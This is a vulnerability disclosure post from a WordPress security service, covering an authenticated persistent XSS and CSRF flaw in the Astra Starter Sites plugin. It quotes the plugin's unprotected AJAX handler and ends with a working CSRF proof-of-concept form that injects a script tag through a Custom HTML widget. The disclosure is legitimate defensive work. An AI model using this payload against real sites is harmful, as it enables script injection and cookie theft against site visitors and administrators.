24 Oct 2019

Hackers May Already be Targeting this Authenticated Persistent XSS Vulnerability in a WordPress Plugin with 200,000+ Installs

As part of monitoring we do to make sure we are providing customers of our service with the best possible data on vulnerabilities in WordPress plugins they may be using we monitor for what look to be hackers probing for usage of plugins to make sure we quickly can warn our customers of unfixed vulnerabilities that hackers are likely targeting. A month ago through that we saw an apparent ongoing hacker campaign exploiting previously undisclosed vulnerabilities involving nine plugins. It looks like that has started up again, with the plugin Astra Starter Sites being one of the new plugins. There was probing on our website yesterday for that plugin by requesting these files:

  • /wp-content/plugins/astra-sites/inc/assets/js/admin-page.js
  • /wp-content/plugins/astra-sites/inc/assets/css/admin.css
  • /wp-content/plugins/astra-sites/readme.txt

That plugin has 200,000+ installs according to wordpress.org, so you might imagine that it at least had a cursory security review by now, but it doesn’t appear to be the case because we found numerous security issue that would have been flagged by the type of security review of WordPress plugins we do just in our limited checking to figure out what a hacker would be interested in exploiting. Considering that persistent cross-site scripting (XSS) vulnerability have existed in multiple of the others plugin being targeted we were most focused on seeing if has that type of vulnerability and we found it contains an authenticated variant of that. While that requires someone to have access to a WordPress account, which limits it exploitability, with 200,000+ installs that would be something that hackers have previously shown an interest in exploiting.

The plugin registers the function import_widgets() to accessible through WordPress’ AJAX functionality to those logged in to WordPress:

60
add_action( 'wp_ajax_astra-sites-import-widgets', array( $this, 'import_widgets' ) );

As you might guess from the name that is involved in importing WordPress widgets.

The function, which is located in the file /inc/classes/class-astra-sites-importer.php, doesn’t do any security checks before passing user input to the function import_widgets_data() to handle the actual importation:

325
326
327
328
329
330
331
332
333
334
function import_widgets() {
 
	$widgets_data = ( isset( $_POST['widgets_data'] ) ) ? (object) json_decode( stripcslashes( $_POST['widgets_data'] ) ) : '';
 
	Astra_Sites_Importer_Log::add( 'Imported - Widgets ' . json_encode( $widgets_data ) );
 
	if ( ! empty( $widgets_data ) ) {
 
		$widgets_importer = Astra_Widget_Importer::instance();
		$status           = $widgets_importer->import_widgets_data( $widgets_data );

The code lacks a capabilities checks to limit access to changing the settings to the users intended to be able to do it and a nonce check to prevent cross-site request forgery (CSRF).

One of WordPress’ built-in widgets is the Custom HTML widget, which can include “Arbitrary HTML code.” Through importation of a widget of that type JavaScript code can be caused to be included on frontend pages of the website, as confirmed with the proof of concept below.

Due to the lack of a nonce check this could also be exploited through CSRF.

WordPress Causes Full Disclosure

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof concept will cause an alert box with any available cookies to be shown on frontend pages of the website, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=astra-sites-import-widgets" method="POST">
<input type="hidden" name="widgets_data" value='{"sidebar-1":{"search-2":{"title":""},"recent-posts-2":{"title":"","number":5},"recent-comments-2":{"title":"","number":5},"archives-2":{"title":"","count":0,"dropdown":0},"categories-2":{"title":"","count":0,"hierarchical":0,"dropdown":0},"meta-2":{"title":""},"custom_html-2":{"title":"proof of concept","content":"<script>alert(document.cookie);<\/script>"}}}' />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Leave a Reply

Your email address will not be published.